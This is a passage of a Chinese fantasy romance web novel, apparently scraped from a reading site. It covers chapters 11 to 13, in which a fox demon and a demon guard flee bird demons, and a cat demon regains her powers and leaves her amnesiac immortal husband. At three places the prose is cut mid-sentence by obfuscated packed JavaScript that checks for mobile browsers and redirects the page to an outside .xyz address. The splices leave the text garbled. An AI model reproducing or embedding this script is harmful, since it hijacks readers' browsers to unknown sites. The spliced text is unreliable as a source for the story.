沈赋故作惊讶地拱手作揖道,“您不是莲花山上最德高望重的狐妖大人吗,”又站起身笑嘻嘻地问,“怎么还自比蚂蚱。” 若是换做旁人,知晓自己的性命从此以后就要和另一个摸不清底细的人绑在一起,指不定怎么捶胸顿足,可是他们俩却都像是没事一样,大概时因为谁都觉得对方不会先死在自己前面。 “你无不无聊啊。”阮眠挥手拂去了衣衫上的血迹,神情轻松,却在心中对沈赋身体恢复的速度之快暗暗吃惊。 远处突然传来一阵空冽的鹤哨声。 两人抬头一看,远处遮天蔽日黑压压一片,像是一片乌云似的快速逼近。竟是鸟妖一族仍是想对阮眠赶尽杀绝,不远万里追到这儿来了。 沈赋倒吸一口冷气,震惊地看向阮眠:“啧,他们这是有多恨你?不想死就快跟我走,这附近有魔道结界,他们进不去。” 阮眠面色凝重,仍然有心情反唇相讥道:“是你若不想死,就快带我走。” 可是还没等黑色的魔气凝成漩涡,两人就被铺天盖地落下的羽毛箭逼得不得不各自飞身躲避,再没有互相接近的机会。 无数箭矢之后,是浩浩荡荡的鸟妖一族,为首的女妖衣着华贵,面容却腐朽似老妪,满面戾气,一双眼睛如同死水,见到阮眠便咬牙切齿地转向身后,厉声下令。 “杀了她!我要她给我女儿偿命!” 11. 第 11 章 阮眠和沈赋在万箭齐发乱石横飞中猛然对上视线,都在对方的眼神中看到了同样的惊愕。 姜梨死了——阮眠暗自咬紧嘴唇,在心底骂了声蠢货。 鸟妖族盘旋在天空如同黑云过境,占据着极其有利的作战位置,让他们犹如困兽,只能狼狈防御躲避,毫无招架之力。 阮眠偏过头看向沈赋,眼神微变,还是第一次见到他拿出兵器,是两把银灰色的斧头,看似钝重,在他手上却轻便锐利,易如反掌般地斩碎了那些羽毛箭。 “再在这儿耗下去早晚会筋疲力尽,让我上去回回他们。” 沈赋眉头紧拧,身后凝出一团黑雾,那团阴冷的雾气飞快绽放成一朵黑色的莲花,正要起身腾空时,阮眠却朝着他的方向喊道,“别跟他们打,先跑再说!” “怎么,你害怕?”沈赋这样挑衅着,却听话地收起了魔气,身后那团黑莲还未完全绽开就枯萎回他的背后。两人仍在片刻不停地打落飞箭,隐约可见到阴云之上,姜梨的母亲姜夫人仍在高处俯视着他们,那凶狠的眼神,好似恨不得把阮眠。 “你当她不想亲自下来将我碎尸万段?可她不会下来,”阮眠双眸泛着幽紫色的光芒,终于贴到了沈赋身侧,与他后背相抵,冷声道,“这是鸟妖一族惯用的阵法,只能守不能攻,你若是想飞上去就正中计谋。除非天兵布阵,否则根本不是他们的对手。” “那如何是好?”沈赋挥动双斧时动作也愈发吃力,起初他还心怀侥幸地想等到这箭矢快放完了再反击,可却是越来越多,像是一场声势浩大的暴雨。 阮眠突然扭动身体站到沈赋身侧,冰凉的手指握住他的手腕,另一只手指尖掐诀放出雪白的狐狸幻影,低声说,“带我去你们魔道的结界。” “好,”沈赋突然伸出双臂从身后抱住了她的肩膀,还没等阮眠有所反应就飞快叽里咕噜念出一阵咒语,“闭上眼睛。” 黑色的雾气中猛然燃烧起熊熊大火,盘旋在上方的鸟妖一族面面相觑,姜夫人也是神情一愣,眼看着火焰越烧越旺,滚滚浓烟不断升到半空,熏得几只妖力弱些的麻雀头晕脑胀险些跌落。 火光冲天中,沈赋紧抱着阮眠,看起来竟像是被气浪掀飞了,可是再定睛一瞧,大火里哪里还有他们的身影。 阮眠再睁开眼时,正对上一双水润的眸子,沈赋眉眼弯弯地笑着看她:“你醒了?” 他手里拿着一片大荷叶,里边儿盛着清澈的溪水,阮眠正觉得喉咙干涩,微微抬起身喝下一些水。清润的溪水好似渗入五脏六腑,她顿时连呼吸都顺畅了许多。 阮眠的意识慢慢恢复,想到最后那场突如其来的大火,烟熏火燎的味道好像又在呼吸间弥漫。她微微皱了皱鼻子,“你闲着没事放什么火?” “障眼法而已,”沈赋轻描淡写道,“别担心,只是烟大了些。”他顿了顿,突然抬起眼睛挑眉笑道,“我知道你怕火了,一看到火就心跳加快,胸闷气短,是不是?所以特意把火势调小了些。” “你怎么知道…”阮眠从床榻上坐起,看着他一脸坏笑的样子,恍然大悟,“这也会有感应?” 她原先还以为同命咒只是把两个人的生死存亡绑在一起,没想到竟然到了如此细枝末节的程度,简直像是体外寄生。 只是心跳加快,胸闷气短……阮眠微不可见地轻轻蹙眉,她可从来没有怕过火,她什么都不怕。 难道是因为,那时候沈赋正抱着她? 阮眠眼神微动,很快恢复如常,看了看四周这简陋质朴的稻草屋,“这又是什么地方?连个像样的杯子都没有。”她嫌弃地看了一眼地上翠绿色的荷叶,脑海中倏然闪过楚柳的身影——如今只能她自求多福了。 “杯子倒是有,只是我用过了,怕你嫌弃。”沈赋摊了摊手,“这里也只躲得了一时,我看那黄鹂精的母亲不会善罢甘休。” “哼,她自己作孽,还要怪到我头上,”阮眠冷笑一声,“那日我和你中了同心咒后只想先离开莲花山,忘记把那药瓶收起,八成是姜梨又折返回来偷摸捡走了那瓶子,学着你我的样子,把瓶子残留的药水给自己和那凡人用了。” 这样一想倒也合理,沈赋点点头,又不解道,“可既然如此,她母亲又怎么会见死不救?” “我哪里知道,都是一家子不识好歹的东西。” 阮眠没心情再和他讨论那黄鹂的家事,反而对这稻草屋越来越不满,忍不住问道,“你们魔道就算没有花花草草亭台楼阁,但也不至于穷酸到如此地步吧?这也算是房子,一阵风就吹倒了。” “这儿是挺穷酸的,”沈赋挠了挠头发,不好意思地笑了笑,“其实这里就是我家。” …… 阮眠张了张嘴,刚想嘲讽他却猛地浑身一震,瞳孔骤然收紧,“那我现在正……躺在你的床上?” 沈赋沉默不语,脸上的神情分明已经是默认了,低眉敛目的看着老实,眼底的笑意却只增不减。 阮眠如避蛇蝎似的从那张床上跳下来,抬手就又要扔出毒药,沈赋连忙做了个双手投降的姿势。 他投降却不认罪,理直气壮地说,“阮姑娘,你呛了烟昏迷不醒,我总不能把你随便扔到哪去。” 阮眠仍是气得咬牙切齿:“扔到哪儿也比扔到这儿好。” “别别,”沈赋看她咬牙咬得那么用力,也跟着牙疼似的吸了口冷气,“是我的错,要杀要打都悉听尊便,我只是想提醒一句,同命咒……” “行了,”阮眠冷笑一声,“没时间和你在这儿斗嘴,还是想想下一步怎么办吧,”她难得露出了几分愁意,“黄鹂精只是本就在我计划之外,如今又凭空生了这些事端……当真是道阻且长。” 沈赋听出话里的几分玄机,凑到她旁边道:“喂,你到底想做什么,反正你也说过我们现在是绑在一条绳上的蚂蚱了,不如都告诉我,我也能帮你出出主意。” “你就只能出些馊主意吧,还是管好自己的事。” “我哪有什么事,”沈赋的语气听起来倒还有几分殷勤谄媚,“能帮到你,就是我最大的事。” 阮眠嫌弃地看着他,还是一惯地冷嘲热讽:“你做了魔尊护法,又半点任务都分不到,看来魔尊根本也没信任过你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691654|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈赋耸耸肩膀,却是毫不在意的样子,“我也正乐得清闲自在,这又有什么不好,既然你不愿意说,就让我来猜一猜,”他漫不经心地转了转眼睛,语气懒散道,“你要对付的,是那些神仙?” 阮眠猛地扭头看向他,瞳孔猛地缩成两道竖线,双眼紫雾弥漫,看起来分外骇人。 沈赋惊讶地张圆了嘴巴,感慨道,“还真让我猜到了。不是我想打击你,可这也太……” “不自量力”四个字到底没说出口,换成了一声复杂的叹息。 “我不过是不想任人宰割而已,”事到如今,阮眠倒没想再瞒他,反正两人的性命也早已被绑在一起,她冷笑道,“如今天宫大肆捉妖,我若是也跟其他妖怪一样坐以待毙,那又怎知下一个被炼成仙丹的不会是我?” “就算你只是想自保,可只要天宫一日不停止捉妖,你就有一日危险。”他突然眼神一顿,神情微变,“难不成你还想……” 阮眠冷冷道:“对,这规矩既然是错的,那就该把这立规矩的蠢货换掉,如何?” 沈赋微微出神,却没有反驳,两人沉默片刻,窗外的天色也慢慢暗下来,屋子本就背着阳光偏僻阴冷,现下更是潮湿昏暗。阮眠在墙上的柜子里看到一盏蜡烛灯,拿到桌上指尖绕了个圈便点燃了。 暖融融的烛光像是要从灯罩里溢出来,阮眠坐到桌边看着烛火,脸颊也被烤得微微发热。 沈赋看向她,心里泛起一丝异样,像是被什么柔软的东西轻轻缠住。他目光灼灼地盯着阮眠,“难道你想要让天宫易主?”他故作惊讶地倒吸了一口冷气,“我当真是小瞧了你。难道你还想当神仙不成?” “我呸,你当谁都像你一样,以为那是什么好差事。” 阮眠沉默片刻,忽然抚摸上微烫的灯罩,幽幽道:“该坐上这位置的不该是现在的天帝,也不该是我……金鳞岂是池中物,一遇风云便化龙。” 沈赋静静地凝视着她,眼眸忽然幽深了几分。 夜色静谧,阮眠言至于此,不想再多说,抬手摸了摸空空如也的肚子,不耐烦道,“你既住在这地方,可知道附近有没有鸡?” “鸡?” 沈赋蓦然一怔,脸上红一阵白一阵,神情十分复杂,过了好半天才忍辱负重似的开口,“……你要男的女的?” “谁还管那些,”阮眠头一次听到吃鸡肉还要分公母,莫名其妙道,“有就行了,我又不挑这个。” “啊……”沈赋心领神会地点了点头,深吸一口气,缓缓开口:“既然如此……那你看,我行吗?” …… 夜深霜重,皎洁如圆盘的月亮悬挂在天边,清冷的月光倾泻到树上,树影斑驳间,沈赋负手而立,像是在静静等待着什么。 忽然树林间传来一阵风吹草动,一道快如鬼魅的黑色身影穿云踏月而来, 那道黑影慢慢化作人形,却也是一身黑色夜行衣包得严严实实,连半张脸都被遮住,只露出一双死水微澜的眼睛。 他见到沈赋,立刻低眉敛目,单膝跪地拱起双手,恭恭敬敬道:“魔尊大人。” 12. 第 12 章 雨点噼里啪啦敲在窗户上,像是有人在放鞭炮,天边时不时亮起几道刺目的闪电,狂风呼啸。 昨夜楚柳和客栈老板家的两个小孩踢沙包,玩得满身大汗回来,洗澡时又忘记关窗,一来二去得了风寒,半夜发起高热,意识模糊地往容贺渊怀里钻。 容贺渊摸到她额头烫手的温度,心下一惊,“柳柳?” “嗯…”楚柳听到他的声音,不自觉贴得更近,容贺渊的身体冰凉结实,像是正好用来给她降温的冰块。楚柳抱住他的脖子,烧得滚烫的脸蛋埋进对方的颈窝胡乱蹭了蹭,“夫君…我好热。” 那热度仿佛会传染,容贺渊一时竟然也感觉身体滚过一阵火热。楚柳的睡衣不知什么时候蹭开了扣子,白皙嫩滑的肌肤覆着一层薄薄的汗水,如同温润剔透的上好羊脂白玉。 她仍是小声说着热,一双手不老实地探进了容贺渊的衣服底下,摸到那微微发凉的身体才觉得舒服了些,像八爪鱼一样整个地缠了上去。 容贺渊连呼吸都不放轻了,他全身僵硬得像是被定住了穴道,睁着眼睛用力盯着天花板,似乎能数清上面有多少道花纹,任由楚柳肆无忌惮地摸来摸去,却是动也不敢动,叫也不敢叫。 待到两个人终于沉沉睡去,已经到了深夜。窗外雨停了,满室宁静,只能听得到浅浅交缠的呼吸声。 桌上的锁魂珠突然动了动。 安静的黑暗中,那一颗淡蓝色的灵珠十分耀眼璀璨,它轻轻从桌上升到半空,湛蓝色的光芒也慢慢像是溢出的海水般不断扩散,几乎笼罩了整个房间。 容贺渊睡得并不安稳,始终眉头紧皱,高挺的鼻梁渗出细密的冷汗,像是做了一个颠三倒四的梦。 梦里他是天宫的执法仙君,每次捉妖都会满载而归,玄鹤殿整整一面墙的妖丹都是他的战利品。白金色的威武盔甲穿在身上,所有天兵都对他毕恭毕敬,当真是一仙之下,万仙之上。 他杀伐决断,冰冷无情,从来没有爱上过谁,也根本不认识一只叫楚柳的猫妖。 过往的记忆仿佛是漫过堤坝汹涌澎湃的洪水倾泻而下,整整几百年单调、枯燥、翻来覆去的生活,只用了一瞬间便全都想了起来。 从头到尾,没有任何一幕是楚柳的身影。 床榻的另一边,楚柳一整夜都辗转难安,时而觉得自己在一个热气腾腾的蒸炉旁边,时而又觉得自己掉进了深不见底的古井,潮湿的寒气直往骨头缝里钻。 日上三竿了她才终于醒来,腰酸背痛,好像这身子趁她失去意识在都城跑了整整一晚。 楚柳醒来时下意识往旁边一看,第一次见到仙君大人醒得比她还要晚,只是安静得却像是……没了呼吸? “夫君!” 楚柳惊叫一声,立刻俯下身,耳朵猛地贴住他赤裸的左边胸膛,下意识想要听他还有没有心跳声。 容贺渊睁开眼睛,垂眸就看到楚柳神情紧张地贴在他的胸口。他稍微一动,底下那只毛茸茸的脑袋就立刻抬了起来,楚柳满眼都是泪水,脸蛋白皙透亮的皮肤哭得通红,鼻音浓重地喊道:“夫君,你吓死我了!” 像是春日的细雨在湖面落下一圈圈的涟漪。胸腔泛起绸缎般的柔情,却第一次有密密麻麻的针尖一齐狠狠扎入的刺痛。 明明应该恨她……却只想安慰她。 容贺渊静静看着楚柳,收敛了眼底的情绪,喉结滚动,轻声道:“我没事。” “那就好,”楚柳如释重负地呼吸,抚了抚胸口道,“我还从来没这么害怕过。” 她动了动四肢,除了有些酸痛外,倒没再像昨晚那样有绵软无力的感觉,想来风寒已经好了。容贺渊却仍让她卧床休息,自己倒是清早就出去了,说要到郎中那里买些中药回来。 楚柳在床上趟了一会儿,实在是半分睡意也无,今日也不知怎么回事,全身像是有使不完的力气。她看到外面日光正好,穿好衣服便出门了,刚下楼梯就看到两个白白胖胖的小孩,客栈老板家孩子,见到她就奶声奶气地喊,“姐姐。” “你们俩今天怎么没上学呀?”楚柳弯下腰,掐了掐明月红扑扑的小脸蛋。 他们是一对双胞胎,都是憨态可掬的女孩子,一个叫清风,一个叫明月。客栈老板说这是她们娘亲起的,听着像是书香世家的名字。 “漂亮哥哥说姐姐生病了,我和明月下了学就过来看姐姐。” 清风一双眼睛炯炯有神,好奇地眨巴几下,见楚柳生龙活虎的样子,开心地笑起来,“姐姐,你病好啦?” “嗯,已经好多了,”楚柳看着她们俩这样可爱,心都快化了,一手领着一个就往外走,“姐姐带你们出去玩!” 两个小孩像是两只糯米团子,跑跑跳跳一整个下午也不嫌累。 楚柳陪她们玩了快两个时辰,身上的骨头都快被折腾散架了,这才知道为何每次带清风和明月出来,客栈老板都眼神充满感激地看向她。 “你们饿不饿?我回去拿些点心来,好不好?” 她们一听要吃点心开心地又蹦又跳,清风摸了摸肚子,迫不及待地说,“我要吃红豆饼,梅子糕,还有桃花酥,如果有炸土豆片就更好啦!对了,还要喝雪梨糖水。” “行行行,都有,都有,”楚柳忍俊不禁地摸摸她的头发,“你和明月就在这儿等着我,记得别往河边跑啊,这几日都下了暴雨,现在正是水位上涨的时候。” “知道啦!” 待到楚柳的身影消失成一个小圆点,清风才收回目光,她一转头却吓了一大跳,见到身后正是那位和楚柳住在同一个房间的漂亮哥哥。 不知道为什么,总觉得这位哥哥和平日有些不同,虽然仍是那俊美的五官组合在一起,可这张脸却像是更陌生冷漠。 清风打了个哆嗦,微微惧怕地向后磨蹭一步,拽了拽还在乐此不疲用泥巴盖房子的明月,两个小孩声音稚嫩地一起喊了声,“……哥哥。” “嗯。” 容贺渊的声音听着也与平日并无什么不同,可是清风和明月就是无端感到害怕,两个小孩平时最爱和大人说话,现在却是一声不吭地拉着手跑远了。 再一回头,容贺渊却像是凭空消失了一般,四周空空荡荡,好像他从来没有出现过。 两个小孩离开了原来盖房子的地方,不知不觉就走到了江水旁边。近些日子大暴雨接连不断,水位不但上涨了许多,还有些汹涌,起落的波浪像是一只巨大怪兽不断伸出舌头,舔着岸边嶙峋的岩石。 楚柳拿着食盒过来时,正看到清风和明月脱下鞋子在踩水。 明月一个踉跄,突然猛地向后一仰,她身后就是汹涌的江水。楚柳离得这么远,压根跑不过去,她急得不行,下意识翻转手腕做了个想要唤出猫影的动作。 她失去妖力后再做这个动作,每回都显得蠢笨呆傻,可是下一秒,绿色的荧光从指尖凝成小小的圆点,又以迅雷之势地不断扩大,化作一道猫身飞向明月,在她快要跌落水中前及时托住。 明月紧闭双眼胡乱扑腾着胖乎乎的小胳膊,再次睁开双眼的时候,却已经平平安安回到了岸上。 楚柳长长地舒了口气,眼珠却猛地一转。 “这是……这竟然,竟然是,我的妖力恢复了!” 她的声音因为兴奋有一丝颤抖,开心得几乎要蹦起来,怎么突然就发生这样的好事了呢!楚柳许久没有想要运气,自己也不知道这妖力是什么时候恢复如初。 但一定不是昨天,不然她才会踢球连两个小孩子都踢不过……她用力摇了摇头,不对不对,当时自己一定是让着她们了。 楚柳动动胳膊又动动腿,好像终于找回了身体似的,她沉浸在漫山遍野般的喜悦里,没有注意到身后有道凉薄如雪的视线,一直牢牢凝在她身上。 咦,难道这束缚她妖力的法器藏在这仙君的衣服里面,所以昨夜她意识不清扒光了他的衣服……然后就解开了? 楚柳几乎要笑出声,听到一阵脚步声,清风和明月像两只圆滚滚的小汤圆似的跑过来,“姐姐!” 明月抓着她的裙子,口齿不清地叽里咕噜道:“我刚才差一点,掉下去,好像,好像有什么……” “快来吃点心!”楚柳匆忙打断,果然明月一看到好吃的就忘记自己想要说什么了,“你们想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691655|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要点心,我都拿来了,”她蹲下身打开食盒,精致软糯的糕点看着就让人直咽口水,楚柳拧着眉毛,故意凶巴巴地说,“不过以后若是没人看着,你们俩可不许再到江边来了,听见没有?” 两个小孩都可怜巴巴地做了保证,楚柳这才让她们大快朵颐。 她还沉浸在恢复妖力的喜悦中,可这喜悦却不能分享。容贺渊说去买药,却快一整天了都没有回来,阮眠也离开了那么久。楚柳撇撇嘴,她现在倒像个孤家寡人。 她把两个小孩送回家,自己也回到房间,依旧像他出来时那样冷冷清清。 楚柳闷得无聊,恨不得离开掀开窗户飞檐走壁才好,又怕容贺渊回来找不到她会担心。她只好在屋子里上蹿下跳,险些砸碎窗台两个开着蟹爪兰的花盆。 她躺在屋内的横梁上,又惦记起了阮眠,不知道她现在怎么样。楚柳翻身而落,从抽屉里找到了那封阮眠留下的信,她翻来覆去看了不知道多少遍,都快背下来这几行字了。 只是这次却有些不一样。 楚柳摸着那张信纸,这上面竟然附了只有妖族能感知到的一层法术,她大吃一惊,立刻盘膝做好,双手掐诀念出一串咒语。那张信纸飘到半空中转了几圈,周身淡紫色的光芒慢慢散开,在那行楚柳都快读得滚瓜烂熟的字底下,慢慢浮现出了一张地图。 “这是?” 楚柳连忙把信纸夺下来仔细去看,并不是简单的地图,而是定位。图上紫色光芒凝成的圆点正在小范围地不断移动,实时标记着阮眠的位置。可是她所在的地方,楚柳屏息一看,不觉瞪圆了眼睛——却是魔界。 “难道是被绑走了?”楚柳握紧拳头,指甲都深深掐进了皮肉,她立刻打定主意要去救阮眠出来,只是,要怎么跟仙君说这件事?如果有容贺渊在,救出阮眠或许会更顺利一些,但这不是也把他拖入火坑……楚柳突然意识到,自己没有理由再留在容贺渊身边了。 她已经得偿所愿,赶在仙君恢复记忆前妖力复原,就算已经动了感情,此时也是尚且能收场的时候,难道还真的要拖到最后,喂给容贺渊动情药吗? 真正爱他,不会舍得毁掉他原本的一生。楚柳幡然醒悟似的震在原地,这时才意识到从前的想法有多自私荒唐。 第一次有逃跑的念头,楚柳完完全全是为了自己,而这一次想要离开,楚柳却觉得这是对他和容贺渊都好的选择。就算她从前说谎是为了报复,那现在她已找回了千年修行,不如就……放过他。 …… “只要回到妖族,他就绝对找不到我,大不了躲上个几百年,再也不出来闯祸便是。” 楚柳打定主意,却觉得全身都难受起来,想到容贺渊失去记忆后只认识她,依赖她,如果就这样离开,仙君往后孤苦伶仃,该去哪里,该和谁说话呢……楚柳深吸一口气,“别想别想,他失忆是因为撞坏脑袋,掉下悬崖也是为了抓我,我才不欠他的!” 楚柳飞快地打点好包袱,不敢再迟疑犹豫,只怕自己又会心软。 临走前,她燃起炉火,把阮眠留下的那封信扔进了火焰里,定位地图的深紫色法术转移到掌心,一目了然。 白纸的边缘快速燃起,转眼就变得焦黑卷曲。楚柳看着那火光,心头突然不安地跳了两下,像是预感到要发生不好的事。 恐惧慢慢膨胀,如有实质般压在她的后背,让她连呼吸都觉得胸口抽搐疼痛。 楚柳强行压下那阵慌乱的感觉,片刻都不敢耽搁地收拾好行李。 信纸化为灰烬,消失在火炉之中。 她走了很远才回头看向客栈,从前离开山谷底下的村子时有多不舍,现在离开这里只会更加难过。 只要想到容贺渊四处求医问药,回来时却见到屋子空空如也,她的心脏就好像要碎裂般地疼痛起来。 还有那热情善良的客栈老板,温柔能干的老板娘,打扮的像小元宝般可爱活泼的清风明月,还有都城她最爱吃的烤鱼,最常逛的酒馆,琳琅满目的夜市、桥头、花船…… 楚柳用力握紧拳头,抬起袖子蹭了蹭眼尾的泪,逃亡似的飞身进入城郊寂静的山林。 13. 第 13 章 楚柳脚下生风,一棵棵树地踩过去,一路飞快。她像是残疾了三个月的人终于丢掉拐杖,恨不得一路狂奔才好。 魔道的结界并不好闯,不过也要看布下结界的是谁。阮眠说过,和她被同命咒绑定在一起的不过是个修炼成魔不久的猎人,楚柳并未把他放在眼里。 至于阮眠怎么会落到那人手里……等到了再问,这回一定要刨根问底,绝不能再被蒙在鼓里了。 熹微的晨光透过树叶,一整夜过去,楚柳终于停在树枝上歇了口气。她抬起袖子擦了擦额头渗出的汗珠,看了看掌心的定位。 就快到了。不知不觉,竟然已经走出了这么远。这一路她刻意控制自己不去想容贺渊回到客栈后会有何反应,就怕自己忍不住回头。 “现在他大概已经走了吧?还是会到处找我呢……找不到的话,会留在原地等我吗,还是会去别的地方再找呢……如果一直找不到,肯定会放弃的吧,毕竟这世界上有趣的事那么多。就算他做神仙时没有朋友,失踪这么久都无人在意,可他现在的性格可好多啦!大概会交到新朋友吧……或者再撞一下脑袋恢复记忆呢?算了算了,他是神仙,法力高强又长得那么好看,我替他担心做什么?” 楚柳蹲在树杈上,本想开解自己一番,却没想到越说越郁闷。她垂下眼皮,看到底下正好有条清澈的小溪,起身一跳稳稳落在了岸边。 却是什么都差点意思。 饿了想吃东西,嘴巴却只馋仙君亲手做的烤鱼,就连那酸酸涩涩的野果子都让她怀念无比。 困了想休息,躺在硬邦邦的树枝上时欲哭无泪地想到柔软的大床,半夜翻身习惯性地抬起胳膊和腿想缠住什么,却扑了个空径直从树上摔进泥坑。她哇哇大叫地爬起来,头顶全是脏兮兮的草叶子,更想哭了。 楚柳睁着眼睛看天,想起仙君为她变出漫天灿烂的星光,想起三个月前,容贺渊黑润温柔的眼睛在阳光下神采奕奕地望着她,说要永远和她在一起。 永远。 楚柳躺在杂草丛生的泥坑里,胸腔弥漫出一阵酸楚,她闭上眼睛,长长地叹了一口气。 不远处突然传来一阵脚步声。 猫妖在夜间尤其警觉,楚柳立刻睁开双眼,所有感官无限放大,清晰地听到有人踩着一地厚重的落叶不断逼近的声音。 “谁!” 楚柳飞身站起,双手挥出两道凌厉的绿光,尽数被挡下。 四周漫起迷雾,一片氤氲中突然“嗖嗖”落下数十根利箭,每一根上面都插着黑色的羽毛。楚柳一连翻了三个跟头躲开,再站稳时不由有几分恼怒,“哪里来的臭乌鸦,我又从来没惹过你,放这么多箭做什么?” 既然已经被猜出身份,迷雾后的乌鸦便不再躲藏,只见一道黑色的身影从树丛间走了出来。他剑眉星目,穿着一身黑色的长袍,上面满是羽毛,随便摘下一片,便能化成锋利的箭矢。 “我家夫人说过,你母亲曾有恩于她,所以不会要你性命,只需要请你来鸟妖族做客。” 姜琛面无表情,语气严肃,一只手藏于身后,始终没有放下弓弩。 楚柳冷笑道:“你这是请我做客的态度,若是我不去呢?” “那就休怪我不客气。” 他正要拉弓,楚柳指尖飞快凝聚妖气,饱满欲滴的浓绿色光芒变换成数十道长蛇似的藤条,近身拦住了姜琛正抬起的手臂。 月光在地上投出两人漆黑的影子,皆是动作飞快,招招致命。 姜琛越是想要远攻,楚柳就越是贴身与他缠斗,她许久没有施展妖力,眼下有个练练身手的好机会,她也兴奋起来,双眸的光芒越来越亮,一来二去,竟是楚柳占了上风。 “唔!” 一道绿色的妖光射中姜琛的右边肩膀,甜腻的血腥味立刻在空中弥漫开,他捂住伤口,恶狠狠地盯向楚柳。 “想抓我就拿出点真本事,”楚柳酣畅淋漓地扬起嘴角,“这三脚猫的功夫可不行。” 姜琛冷哼一声,突然低头念出咒语,黑色的翅膀从后背猛地伸展开,只是片刻的时间就如同一把巨伞,遮住了月光。四面漆黑,楚柳连忙做出防御在姿态,却眼睁睁看着姜琛脚下一点,直直飞到了半空。 他眼中寒芒毕露,忽然笑了,“现在你还拦得住我?” “你!” 楚柳瞪大眼睛,这要是让他从天上射箭,自己还不得被扎成刺猬! 好女不吃眼前亏,她当即化成一只狸花猫要藏到树林里,跑的却哪有飞的快,身后遮天蔽日的黑影阴魂不散,马上就要追上。 楚柳狼狈不堪,心中顿时一阵哀嚎,怎么刚出虎口又入狼窝,她到底做了什么,怎么总是莫名其妙就跑在躲避追杀的路上? 弓箭拉满蓄势待发的声音追在身后,楚柳翻身上树显出人形,正准备回头跟他殊死一搏,却突然看到一道雪白的身影,从侧边飞快掠过。 电光火石的一个瞬间,只听见一声巨响,姜琛从半空重重摔落在地,“哇”地吐出一口鲜血。 “虚张声势。” 那把做工精巧的弓箭被从中间硬生生折断,“砰”地一声扔在了地上。 这声音…… 楚柳愣住,浑身僵硬,只觉耳边阵阵嗡鸣。 容贺渊却并未转身,楚柳呆呆地盯着那道孤傲冷清的背影,像被一把锋利的匕首狠狠捅入心脏。 “你、你是谁!” 姜琛见到自己心爱的武器被毫不费力地折成两半,牙都快咬碎了,他的唇边不断渗出猩红的血迹,双眸却仿佛燃烧着火焰。 “你不配知道。” 如此轻蔑的态度让姜琛更为恼火,一双眼睛赤红的像是能滴血,满是杀意。他低声怒喝,拿起半把残破的弓就不自量力地扑了上来。 许久没有施展身手的不止是楚柳,还有容贺渊,他濯濯而立,指尖凝出一把长剑,剑身冰冷锋利,泛着久违的寒光。 整个天宫,没有任何一个神仙比他更会捉妖,比他更懂得如何对付妖孽。 黑白光影不断在眼前变换,兵器相交时的撞击声听得楚柳心惊胆战,她专注战局,一时竟未曾发觉容贺渊手上握住的,正是初遇时指向她喉咙的那把剑。 姜琛节节败退,终于招架不住,单膝跪地“哇”地又吐出一口鲜血,这下他连再站起来的力气都没有,抬起眼睛恶狠狠地盯紧容贺渊,气势上却是半点不肯服输。 “还不明白吗?若是我想杀你,你早就没命了。” 月光清澈,那道雪白又挺拔的身影,像是黑暗幽静的洞穴中生长出的静谧冷清的山茶花,无声无息,却又触目惊心。 姜琛呼吸倏然慌乱,他咬了咬牙,一声不吭地逃遁在漆黑的夜色里,临走时还不忘捡起地上半根残破的弓。 容贺渊收起长剑,转过头来,脸上仿佛覆盖了一层严霜,声音也没有半点温度。 “你已经离开过我一次,还要再离开第二次吗?” 那冰冷的眼神几乎要把楚柳冻坏了。 她心脏狂跳,自知理亏,连忙低下头不敢直视仙君的眼睛,在低头的瞬间,错过了容贺渊眼眸中隐隐弥漫的一丝痛苦。 “我是想要,我想要去,去找阮眠……” 反正本来也就是要找她的,只是为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691656|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独自走了,这该怎么说? 仿佛有一只冰冷的手掐住后颈,她实在编不出瞎话,傻站在那里,倒看起来有些可怜委屈,丝毫没有了刚才杀气腾腾时凶神恶煞的样子。 容贺渊似乎也不打算追问,只是安静地看着她,轻声道:“我说过,你去哪里,我就去哪里。” 他的声音好像黄昏暮色下缓缓流淌的江水,干涩又沙哑,隐隐夹杂着悲伤。 楚柳一颗心像是被揉皱了,她无话可说,只能不断认错,一遍遍小声重复,“我不走了,这次真的。” 跑了这么远都能被追上,她还是趁早认命,不要再顽固抵抗了。 楚柳三言两语讲清了自己莫名其妙妖力复原的事,可他的神情却并没什么波澜。楚柳撇撇嘴,又讲了信上藏着地图,还把手心的定位给容贺渊看。 她小声说了句“路途凶险”,容贺渊冷冰冰道,“知道凶险还敢不带上我?”楚柳只当他是因为生气,才会每次说话都冷冰冰的,郁闷极了,这高冷面瘫的样子简直跟他失忆前一模一样!真是狗改不了……算了算了。 等到天亮,他们再次启程在寻找阮眠的路上,日光明媚,楚柳仍是和容贺渊一前一后,她看着仙君的背影,本以为自己会对没逃跑成功的事捶胸顿足,可其实…更多的却是欣喜。对他们俩重逢的欣喜。 